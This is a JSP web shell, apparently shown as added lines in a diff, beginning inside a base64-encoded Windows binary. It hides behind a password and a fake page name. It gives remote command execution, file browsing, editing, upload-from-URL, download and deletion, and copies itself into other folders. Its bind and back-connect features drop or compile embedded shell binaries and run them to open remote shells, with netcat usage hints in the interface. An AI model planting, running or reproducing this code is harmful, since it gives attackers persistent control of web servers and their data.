BIxey82DY3PTzZ7SZgEUIYYCc1QbnxSdGxgd2m8YfA0G7F0ypGJAENw2Iy4ZnNlYGJPsDPiFjtTQ2xBDyPYjFkiZAw5CFgymnGGIRrbBfZRDkPlbIYtxF4Cn3RjaFvpZzYLmKMO7B+GHMu2aballsz/AwI0FnfLsiwEAgENzlNBU9vmaAGIIQ4JAgj8lyctc4JQRUwBAwCJC5Q/jIj9h+AADwELAQb0J3Zy2R3UFQQQAEAAEA+2YRNiEgcXYOxsFkyiDBAHy73sDQYAaESDR0DWDQii/B7WEBvBLhh0Oi6Q4LOQDTCY+mAuck2YdYaLJwlTA5pb7JRqQC4mJxwKUPKbkkFQwBO0RQAAaMVvsyQAAAD/AAAAAAAAAAAAAABgvgBQQACNvgDA//9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5cAAAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWI2OLZjb4AUAAAiwcJwHRFi18EjYQwAHAAAAHzUIPHCP+WUHAAAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+WVHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAAAAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5ETEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MAAABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; +String script_name = request.getRequestURI(); +String shell_style = ""; +%><%! +//################# FUNCTION GOES HERE #######################==============================================] +public String getSlash(){ + if(is_win()){ + return "\\"; + } + return "/"; +} +public boolean is_win(){ + if(System.getProperty("os.name").toLowerCase().substring(0,3).equals("win")){ + return true; + } + return false; +} +public String xcleanpath(String path){ + if(is_dir(path)){ + String xSlash = getSlash(); + if(path!=null && path.length() > 1){ + while(path.substring(path.length()-1).equals(xSlash)){ + path = path.substring(0,path.length()-1); + } + return path + xSlash; + } + } + return path; +} +public String urlencode(String str){ + try{ if(str!=null) return URLEncoder.encode(str); } catch(Exception e){ } + return str; +} +public String urldecode(String str){ + try{ if(str!=null) return URLDecoder.decode(str); } catch(Exception e){ } + return str; +} +public String xparsedir(String dir){ + String xSlash = ""; + String xSlash_ = ""; + if(is_win()){ + xSlash = "\\"; + xSlash_ = "\\\\"; + } + else{ + xSlash = "/"; + xSlash_ = "/"; + } + String[] dirs = dir.split(xSlash_); + StringBuffer buff = new StringBuffer(""); + StringBuffer dlink = new StringBuffer(""); + if(!is_win()){ + dlink.append(urlencode(xSlash)); + buff.append("" + xSlash + " "); + } + for(int i=0;i" + d + " " + xSlash + " "); + } + } + return "[ " + buff + " ]"; +} +public boolean is_file(String fpath){ + try{ + File myfile = new File(fpath); + if(myfile.exists() && myfile.isFile()){ return true; } + } + catch(Exception e){ } + return false; +} +public boolean is_dir(String fpath){ + try{ + File myfile = new File(fpath); + if(myfile.exists() && myfile.isDirectory()){ return true; } + } + catch(Exception e){ } + return false; +} +public String xparentfolder(String fpath){ + if(is_dir(fpath)){ + File myfile = new File(fpath); + if(myfile.getParent()!=null) return myfile.getParent(); + else return fpath; + } + return fpath; +} +public String xfileopen(String fpath){ + try{ + StringBuffer content = new StringBuffer(""); + if(is_file(fpath)){ + FileInputStream fileinputstream = new FileInputStream(fpath); + int numberBytes = fileinputstream.available(); + byte bytearray[] = new byte[numberBytes]; + fileinputstream.read(bytearray); + for(int i = 0; i < numberBytes; i++){ + content.append((char) (bytearray[i])); + } + fileinputstream.close(); + } + return content.toString(); + } + catch (Exception e) { + } + return ""; +} +public boolean xfilesave(String fullPath, byte[] bytes){ + try{ + OutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(fullPath)); + InputStream inputStream = new ByteArrayInputStream(bytes); + int token = -1; + while((token = inputStream.read()) != -1){ + bufferedOutputStream.write(token); + } + bufferedOutputStream.flush(); + bufferedOutputStream.close(); + inputStream.close(); + } + catch(Exception e){ return false; } + if(is_file(fullPath)){ + return true; + } + return false; +} +public boolean xfilesave(String fullPath, String text){ + Writer writer = null; + try{ + File myFile = new File(fullPath); + writer = new BufferedWriter(new FileWriter(myFile)); + writer.write(text); + writer.close(); + } + catch (Exception e) { return false; } + if(is_file(fullPath)){ + return true; + } + return false; +} +public void xrmdir(String fdir){ + File mypath = new File(fdir); + + File[] allitem = mypath.listFiles(); + for(int i=0;i[ "); + letters.append(letter.substring(0,1)); + letters.append(" ] "); + } + letters.append("
"); + return letters.toString(); + } + return ""; +} +public String xfilelastmodified(String fpath){ + if(is_file(fpath) || is_dir(fpath)){ + File myfile = new File(fpath); + return new SimpleDateFormat("dd-MMM-yyyy HH:mm").format(new java.util.Date(myfile.lastModified())); + } + return "???"; +} +public String xfilesummary(String fpath){ + if(is_file(fpath)){ + return "Filesize : " + xparsefilesize(xfilesize(fpath)) + " ( " + xfilesize(fpath) + " ) :: Permission : " + xfileperms(fpath) + " :: modified : " + xfilelastmodified(fpath); + } + return ""; +} +public boolean xrunexploit(String fpath,String base64,String port,String ip){ + String finals = ""; + byte[] embrio = b64decode(base64); + String tmpdir = xcleanpath(System.getProperty("java.io.tmpdir")); + String fname = ""; + String xpath = ""; + boolean ok = false; + if(is_win()){ + fname = "bd.exe"; + xpath = xcleanpath(fpath) + fname; + if(is_file(xpath)){ + File xfile = new File(xpath); + xfile.delete(); + + } + if(!xfilesave(xpath,embrio)){ + xpath = tmpdir + fname; + if(xfilesave(xpath,embrio)) ok = true; + } + else ok = true; + + if(ok){ + finals = xpath + " " + port + " " + ip; + try { + Process p = Runtime.getRuntime().exec(finals); + } + catch(Exception e) { return false; } + return true; + } + } + else { + if(!ip.equals("")) fname = "back"; + else fname = "bind"; + String ypath = xcleanpath(fpath) + fname; + if(is_file(ypath + ".c")){ + File yfile = new File(xpath + ".c"); + yfile.delete(); + } + if(!xfilesave(ypath + ".c",embrio)){ + xpath = tmpdir + fname; + if(xfilesave(xpath,embrio)) ok = true; + } + else ok = true; + + if(ok){ + ekse("gcc " + ypath + ".c -o " + ypath,fpath ); + ekse("chmod +x " + ypath,fpath); + if(is_file(ypath)){ + finals = ypath + " " + port + " " + ip; + try{ + Process p = Runtime.getRuntime().exec(finals); + } + catch(Exception e){ return false; } + return true; + } + else return false; + } + } + return false; +} +String ekse(String cmd, String cwd){ + String[] comm = new String[3]; + if(!is_win()){ + comm[0] = "/bin/sh";comm[1] = "-c";comm[2] = cmd; + }else{ + comm[0] = "cmd";comm[1] = "/C";comm[2] = cmd; + } + StringBuffer ret = new StringBuffer(); + long start = System.currentTimeMillis(); + try { + Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(cwd)); + //Get input and error streams + BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream()); + BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream()); + boolean end = false; + while (!end) { + int c = 0; + while ((ls_err.available() > 0) && (++c <= 1000)) { + ret.append((char) ls_err.read()); + } + c = 0; + while ((ls_in.available() > 0) && (++c <= 1000)) { + ret.append((char) ls_in.read()); + } + try { + ls_proc.exitValue(); + //if the process has not finished, an exception is thrown + //else + while (ls_err.available() > 0) + ret.append((char) ls_err.read()); + while (ls_in.available() > 0) + ret.append((char) ls_in.read()); + end = true; + } + catch (IllegalThreadStateException ex) { + //Process is running + } + try { + Thread.sleep(50); + } + catch (InterruptedException ie) {} + } + } + catch (IOException e) { + ret.append("Error: " + e); + } + return ret.toString(); +} +public String xdir(String fdir){ + String path = xcleanpath(urldecode(fdir)); + StringBuffer buff = new StringBuffer(""); + if(is_dir(path)){ + File mypath = new File(fdir); + ArrayList fname = new ArrayList(); + ArrayList dname = new ArrayList(); + + String[] allitem = mypath.list(); + for(int i=0;i" + + "" + + "" + + "" + + "" + + ""); + + if (path.length() > 3){ + String sd = "."; + String d = xcleanpath(path); + String nextdir = xcleanpath(xparentfolder(d)); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + sd = ".."; + d = xcleanpath(xparentfolder(path)); + nextdir = xcleanpath(xparentfolder(d)); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + } + for(int i=0;i"); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + } + for(int i=0;i"); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + } + buff.append("
FilenameFilesizePermissionLast ModifiedAction
[ "+ sd + " ]DIR" + xfileperms(d) + "" + xfilelastmodified(d) + "Properties | Remove
[ "+ sd + " ]DIR" + xfileperms(d) + "" + xfilelastmodified(d) + "Properties | Remove
[ "+ sd + " ]DIR" + xfileperms(nextdir) + "" + xfilelastmodified(nextdir) + "Properties | Remove
"); + buff.append(""); + buff.append(sf + "" + xparsefilesize(xfilesize(f)) + "" + xfileperms(f) + "" + xfilelastmodified(f) + "Edit | Download | Remove
"); + } + return buff.toString(); +} +public boolean is_numeric(String str){ + return str.matches("\\d+"); +} +public void chdir(String directory) { + System.setProperty("user.dir",directory); +} +public byte[] b64decode(String str){ + BASE64Decoder myDec = new BASE64Decoder(); + byte[] decoded = null; + try{ decoded = myDec.decodeBuffer(str); } + catch(Exception e){ } + return decoded; +} +public String htmlspecialchars(String scode){ + StringBuffer sb = new StringBuffer(); + for(int i=0; i' :sb.append(">");break; + case '&' :sb.append("&");break; + case '"' :sb.append(""");break; + case '\'' :sb.append("'");break; + case ' ' :sb.append(" ");break; + default :sb.append(c); + } + } + return sb.toString(); +} +public boolean is_image(String fpath){ + FileNameMap fileNameMap = URLConnection.getFileNameMap(); + String contentType = fileNameMap.getContentTypeFor(fpath); + if(contentType!=null && contentType.toLowerCase().startsWith("image")){ return true; } + return false; +} +class myComparator implements Comparator { + public int compare(Object o1, Object o2) { + String s1 = (String) o1; + String s2 = (String) o2; + return s1.toLowerCase().compareTo(s2.toLowerCase()); + } +} +public class FileInfo { + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} +public class HttpMultiPartParser { + //private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +Hashtable cookieTable(Cookie[] cookies) { + Hashtable cookieTable = new Hashtable(); + if (cookies != null) { + for (int i=0; i < cookies.length; i++) + cookieTable.put(cookies[i].getName(), cookies[i].getValue()); + } + return cookieTable; +} + +%><% +//################# INIT GOES HERE #######################==================================================] +//String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI()); +String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI()); +String xCwd = xCwd_.substring(0,xCwd_.lastIndexOf(getSlash())); +chdir(xCwd); + +String result = ""; +String check = ""; +Hashtable _COOKIE = cookieTable(request.getCookies()); +Cookie myCookie; +boolean auth = false; +if((request.getParameter("passw")!=null) && (!request.getParameter("passw").equals(""))){ + check = request.getParameter("passw").trim(); + if(check.equals(shell_password)){ + myCookie = new Cookie("pass",check); + myCookie.setMaxAge(3600*24*7); + response.addCookie(myCookie); + } + else { + myCookie = new Cookie("pass",""); + myCookie.setMaxAge(0); + response.addCookie(myCookie); + } +} +if(_COOKIE.containsKey("pass")) { + check = (String) _COOKIE.get("pass"); +} + +if(check.equals(shell_password)){ + auth = true; +} +else auth = false; + + +if((request.getParameter("img")!=null) && (!request.getParameter("img").equals(""))){ + String myfile = request.getParameter("img"); + if(is_file(myfile)){ + response.setContentType("image/png"); + OutputStream o = response.getOutputStream(); + FileInputStream fis = new FileInputStream(myfile); + int i; + while ((i=fis.read()) != -1){ o.write(i); } + fis.close(); + o.flush(); + o.close(); + return; + } + else{ + String file = ""; + if(myfile.equals("icon")){ + file = icon; + } + else if(myfile.equals("bg")){ + file = bg; + } + byte[] data = b64decode(file); + response.setContentType("image/png"); + OutputStream o = response.getOutputStream(); + o.write(data); + o.flush(); + o.close(); + return; + } +} +if((request.getParameter("get")!=null) && (!request.getParameter("get").equals(""))){ + String myfile = request.getParameter("get"); + File myfile__ = new File(myfile); + response.setContentType("application/octet-stream"); + response.setHeader("Content-Disposition","attachment; filename=\"" + myfile__.getName() + "\""); + OutputStream o = response.getOutputStream(); + FileInputStream fis = new FileInputStream(myfile); + int i; + while ((i=fis.read()) != -1){ o.write(i); } + fis.close();o.flush();o.close(); + return; +} + + +if((request.getParameter("dir")!=null) && (!request.getParameter("dir").equals(""))){ + String newdir = xcleanpath(urldecode(request.getParameter("dir").trim())); + if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){ + if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){ + newdir = xcleanpath(xparentfolder(request.getParameter("oldfilename"))); + } + } + if(is_dir(newdir)){ + chdir(newdir); + xCwd = newdir; + } + else if(is_file(newdir)){ + newdir = newdir.substring(0,newdir.lastIndexOf(getSlash())); + if(is_dir(newdir)){ + chdir(newdir); + xCwd = newdir; + } + } + + if((request.getParameter("foldername")!=null) && (!request.getParameter("foldername").equals(""))){ + File myFile = new File(xcleanpath(xCwd + request.getParameter("foldername"))); + if(!myFile.exists()) myFile.mkdir(); + } + else if((request.getParameter("del")!=null) && (!request.getParameter("del").equals(""))){ + String fdel = request.getParameter("del"); + if(is_file(fdel)) new File(fdel).delete(); + else if(is_dir(fdel)){ + xrmdir(fdel); + xCwd = xcleanpath(newdir); + } + } + else if((request.getParameter("childname")!=null) && (!request.getParameter("childname").equals(""))){ + String childname = request.getParameter("childname").trim(); + String ortu = getServletConfig().getServletContext().getRealPath(request.getRequestURI()); + String con = xfileopen(ortu); + xfilesave(xCwd+childname,con); + } +} + +if((request.getParameter("btnConnect")!=null) && (!request.getParameter("btnConnect").equals(""))){ + if((request.getParameter("bportC")!=null) && (is_numeric(request.getParameter("bportC")))){ + String port = request.getParameter("bportC"); + String base64 = ""; + if(is_win()) base64 = wBind; + else base64 = xBack; + if(xrunexploit(xCwd,base64,port,request.getRemoteAddr())){ + } + } +} +else if((request.getParameter("btnListen")!=null) && (!request.getParameter("btnListen").equals(""))){ + if((request.getParameter("lportC")!=null) && (is_numeric(request.getParameter("lportC")))){ + String port = request.getParameter("lportC"); + String base64 = ""; + if(is_win()) base64 = wBind; + else base64 = xBind; + if(xrunexploit(xCwd,base64,port,"")){ + } + } +} + + + +if ((request.getContentType() != null) && (request.getContentType().toLowerCase().startsWith("multipart"))) { + HttpMultiPartParser myParser = new HttpMultiPartParser(); + try{ + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = myParser.processData(request.getInputStream(), bound, xCwd, clength); + if(ht.get("btnNewUploadUrl")!=null && !ht.get("btnNewUploadUrl").equals("")){ + if(ht.get("fileurl")!=null && !ht.get("fileurl").equals("")){ + URL myUrl = new URL(ht.get("fileurl").toString()); + URLConnection myCon = myUrl.openConnection(); + int conLength = myCon.getContentLength(); + InputStream raw = myCon.getInputStream(); + InputStream in = new BufferedInputStream(raw); + byte[] data = new byte[conLength]; + int bytesRead = 0; + int offset = 0; + while(offset < conLength){ + bytesRead = in.read(data, offset, data.length - offset); + if(bytesRead == -1) break; + offset += bytesRead; + } + in.close(); + if(offset == conLength){ + String fname = myUrl.getFile(); + fname = fname.substring(fname.lastIndexOf('/')+1); + if(ht.get("filename")!=null && !ht.get("filename").equals("")){ + fname = ht.get("filename").toString().trim(); + } + FileOutputStream ooo = new FileOutputStream(xCwd + fname); + ooo.write(data);ooo.flush();ooo.close(); + } + } + } + else if(ht.get("btnNewUploadLocal")!=null && !ht.get("btnNewUploadLocal").equals("")){ + FileInfo fi = (FileInfo) ht.get("filelocal"); + String clientFileName = xCwd + fi.clientFileName.trim(); + if(ht.get("filename")!=null && !ht.get("filename").equals("")){ + String filename = xCwd + ht.get("filename").toString().trim(); + File clientFile = new File(clientFileName); + clientFile.renameTo(new File(filename)); + } + } + } + catch(Exception e){ } +} + +if((request.getParameter("cmd")!=null) && (!request.getParameter("cmd").equals(""))){ + String cmd = urldecode(request.getParameter("cmd")); + String newdir = ""; + if(cmd.toLowerCase().startsWith("cd ")){ + newdir = cmd.substring(3).trim(); + if(is_win()) newdir = newdir.replace("/","\\"); + if(newdir.equals("\\") && xCwd.length()>=3){ xCwd = xCwd.substring(0,3); } + else if(newdir.equals(".")) { } + else if(newdir.equals("..")) { + xCwd = xcleanpath(xparentfolder(xCwd)); + } + else{ + if(newdir.indexOf(":") > 0){ + if(is_dir(newdir)){ xCwd = xcleanpath(newdir); } + } + else if(is_dir(newdir)){ + xCwd = xcleanpath(newdir); + } + else{ + if(is_dir(xCwd + newdir)) { xCwd = xcleanpath(xCwd + newdir); } + } + } + result = xdir(xCwd); + } + else if(cmd.matches("^\\w{1}:.*")){ + if(is_dir(cmd)){ xCwd = xcleanpath(cmd); } + result = xdir(xCwd); + } + else { + String result_ = htmlspecialchars(ekse(cmd,xCwd)); + if(!result_.equals("")) result = result_.replace("\n","
"); + else { + result = xdir(xCwd); + } + } + chdir(xCwd); +} +else if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){ + String fname = xcleanpath(urldecode(request.getParameter("properties"))); + String oldname = ""; + if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){ + oldname = request.getParameter("oldfilename"); + File oldfile = new File(oldname); + oldfile.renameTo(new File(fname)); + } + String dir = xCwd; + String fcont = ""; + String fview = ""; + String fsize = ""; + String faction = ""; + String type = ""; + if(is_dir(fname)){ + fsize = "DIR"; + fcont = xdir(fname); + faction = "Properties | Remove"; + } + else{ + fsize = xparsefilesize(xfilesize(fname)) + " ( " + xfilesize(fname) + " bytes )"; + if((request.getParameter("type")!=null) && (!request.getParameter("type").equals(""))) type = request.getParameter("type").trim(); + else{ + if(is_image(fname)) type = "img"; + else type = "text"; + } + if(type.equals("img")){ + String imglink = "

[ view full size ]

"; + fcont = "
" + imglink + "\"\"
"; + } + else{ + String code = htmlspecialchars(xfileopen(fname)); + fcont = "
" + code.replace("\n","
") + "
"; + } + + faction = "Edit | Download | Remove"; + fview = "[ text ][ image ]"; + } + String fperm = xfileperms(fname); + String filemtime = xfilelastmodified(fname); + result = "
" + + "
" + + "" + + "" + faction + " | " + + "" + + " " + + "" + + "
" + + "Size = " + fsize + "
" + + "Permission = ( " + fperm + " )
" + + "Last Modified = ( " + filemtime + " )
" + + fview + "
" + fcont + "
"; +} +else if(((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) || ((request.getParameter("filename")!=null) && (!request.getParameter("filename").equals("")))){ + String mymsg = ""; + String pesan = ""; + String fpath = ""; + boolean dos = false; + if((request.getParameter("save")!=null) && (!request.getParameter("save").equals(""))){ + if((request.getParameter("dos")!=null) && (request.getParameter("dos").equals("true"))){ dos = true; } + String saveas = request.getParameter("saveas"); + BufferedWriter outs = new BufferedWriter(new FileWriter(saveas)); + StringReader text = new StringReader(request.getParameter("filesource")); + int i; + boolean cr = false; + String lineend = "\n"; + if (dos) lineend = "\r\n"; + while ((i = text.read()) >= 0) { + if (i == '\r') cr = true; + else if (i == '\n') { + outs.write(lineend); + cr = false; + } + else if (cr) { + outs.write(lineend); + cr = false; + } + else { + outs.write(i); + cr = false; + } + } + outs.flush(); + outs.close(); + + if(is_file(saveas)) pesan = "File Saved"; + else pesan = "Failed to save file"; + mymsg = "[ " + pesan + " ]"; + } + if((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) { + fpath = request.getParameter("view"); + if((request.getParameter("saveas")!=null) && (!request.getParameter("saveas").equals(""))){ + fpath = request.getParameter("saveas"); + } + } + else fpath = xCwd + request.getParameter("filename"); + + StringBuffer result_ = new StringBuffer("");; + BufferedReader reader = new BufferedReader(new FileReader(fpath)); + int i; + + boolean cr = false; + while ((i = reader.read()) >= 0) { + result_.append((char) i); + if (i == '\r') cr = true; + else if (cr && (i == '\n')) dos = true; + else cr = false; + } + reader.close(); + String doz = "";if(dos) doz="true";else doz="false"; + result = "

" + xfilesummary(fpath) + "" + mymsg + "

" + + "
" + + "" + + "" + + "" + + " " + + "
"; +} +else{ + result = xdir(xCwd); +} +//################# Finalizing #######################======================================================] +File xcfile = new File("."); +xCwd = xcfile.getCanonicalPath(); +String html_title = ""; +String html_head = ""; +String html_body = ""; +if(auth){ + String bportC = ""; + String lportC = ""; + if(request.getParameter("bportC")!=null) bportC = request.getParameter("bportC"); + else bportC = shell_fav_port; + if(request.getParameter("lportC")!=null) lportC = request.getParameter("lportC"); + else lportC = shell_fav_port; + + html_title = shell_title + " " + xCwd; + html_head = "" + html_title + "" + +"" + shell_style + +""; +html_body = "
" + +"

" + shell_title + "

" + +"
" + xHeader + +"
" + xdrive() + xparsedir(xCwd) + +"
" + +"
" + +"[ New File ] " + +"[ New Folder ] " + +"[ Replicate ] " + +"[ Upload ] " + +"[ BindShell ] " + +"
" + +"
" + +"
" + +"" + +"" + +"" + +"" + +"" + +"" + +"" + +"
BackConnect" + +"Port " + +" " + +"example: (using netcat) run "nc -l -p " + bportC + "" and then press Connect
Listen" + +"Port " + +" " + +"example: (using netcat) press "Listen" and then run "nc " + xServerIP + " " + lportC + ""
" + +"
" + +"
" + +"" + +"" + +"
New Foldername" + +"" + +"" + +"" + +"
" + +"
" + +"
" + +"" + +"" + +"
New Filename" + +"" + +"" + +"" + +"
" + +"
" + +"
" + +"" + +"" + +"" + +"
Save as
From Url" + +"" + +"
From Computer" + +"" + +"" + +"
" + +"
" + +"
" + +"" + +"" + +"
New Shellname" + +"" + +"" + +"
" + +"
" + +"
" + +"
" + +"" + +"" + +"" + +"
" + +"
" + +"
" + +"
" + result + +"
"; +} +else { + html_title = shell_fake_name; + html_head = "" + html_title + "" + shell_style; + html_body = "
" + +"
" + +"
" + +"" + +"" + +"
" + +"
" + +"
" + shell_fake_name + "
" + +"
"; +} +String html_onload = ""; +if((request.getParameter("cmd")!=null) || (request.getParameter("passw")!=null)){ + html_onload = " onload=\"document.getElementById('cmd').focus();\""; +} +else html_onload = ""; + +String html_final = "" + html_head + +"" + +"" + +"
" + html_body + +"
